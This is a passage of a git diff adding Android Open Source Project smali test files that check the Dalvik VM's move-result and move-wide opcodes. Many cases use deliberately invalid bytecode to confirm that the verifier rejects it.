+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_4.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;->foo()J
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali
new file mode 100644
index 0000000..cad59ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_5.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;->foo()Ljava/lang/Object;
+    move-result-object v1
+    
+    return-wide v0
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali
new file mode 100644
index 0000000..dcbb5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_6.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;->foo()Ljava/lang/Object;
+    nop
+    move-result-object v1
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali
new file mode 100644
index 0000000..f340f46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali

@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_7.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    goto :Label1
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;->foo()Ljava/lang/Object;
+:Label1
+    move-result-object v1
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali
new file mode 100644
index 0000000..2499159
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[I
+.registers 16
+    const v1, 1
+    const v2, 2
+    filled-new-array {v1, v2}, [I
+    move-result-object v5
+    
+    return-object v5
+
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali
new file mode 100644
index 0000000..9eb2023
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_9.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;->foo()Ljava/lang/Object;
+
+    move-result-object v16
+    return-void
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali
new file mode 100644
index 0000000..580999b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali

@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_1.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;->foo()J
+
+    move-result-wide v0
+    const-wide v2, 12345
+    
+    cmp-long v5, v0, v2
+    if-eqz v5, :Label1
+    
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali
new file mode 100644
index 0000000..e731a4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_2.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;->foo()J
+    move-result-wide v16
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali
new file mode 100644
index 0000000..50d584a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_3.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;->foo()Ljava/lang/Object;
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali
new file mode 100644
index 0000000..d2229fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_4.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;->foo()I
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 2
+
+    const v0, 1234
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali
new file mode 100644
index 0000000..1371127
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali

@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_5.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;->foo()J
+    move-result-wide v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali
new file mode 100644
index 0000000..511302f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali

@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_6.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;->foo()J
+    nop
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali
new file mode 100644
index 0000000..71e0a10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali

@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_7.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;->foo()J
+:Label1
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali
new file mode 100644
index 0000000..dbf59f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_8.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;->foo()J
+
+    move-result-wide v16
+    return-void
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali
new file mode 100644
index 0000000..9e09123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali

@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_1.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const-wide v0, 1234
+       const-wide v14, 567989
+
+       move-wide v0, v14
+       
+       const-wide v4, 567989
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v14, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali
new file mode 100644
index 0000000..67dd23c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_2.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move-wide v0, v9
+
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali
new file mode 100644
index 0000000..da6c79d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_3.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const-wide v0, 0
+
+       move v9, v0
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali
new file mode 100644
index 0000000..4e98b22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_4.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move-wide v1, v8
+
+       const v1, 0
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali
new file mode 100644
index 0000000..9ceffbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_5.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const v0, 124
+
+       move-wide v5, v0
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali
new file mode 100644
index 0000000..b884a2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_7.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const-wide v5, 0
+
+       move-wide v1, v5
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali
new file mode 100644
index 0000000..25dc019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali

@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_1.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide v0, 123
+       const-wide v2, 5678
+       
+       move-wide/16 v4000, v0
+       move-wide/16 v4002, v2
+       
+       move-wide/16 v4000, v4002
+       
+       const-wide v4, 5678
+       
+       move-wide/16 v0, v4000
+       move-wide/16 v2, v4002
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali
new file mode 100644
index 0000000..067b522
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali

@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
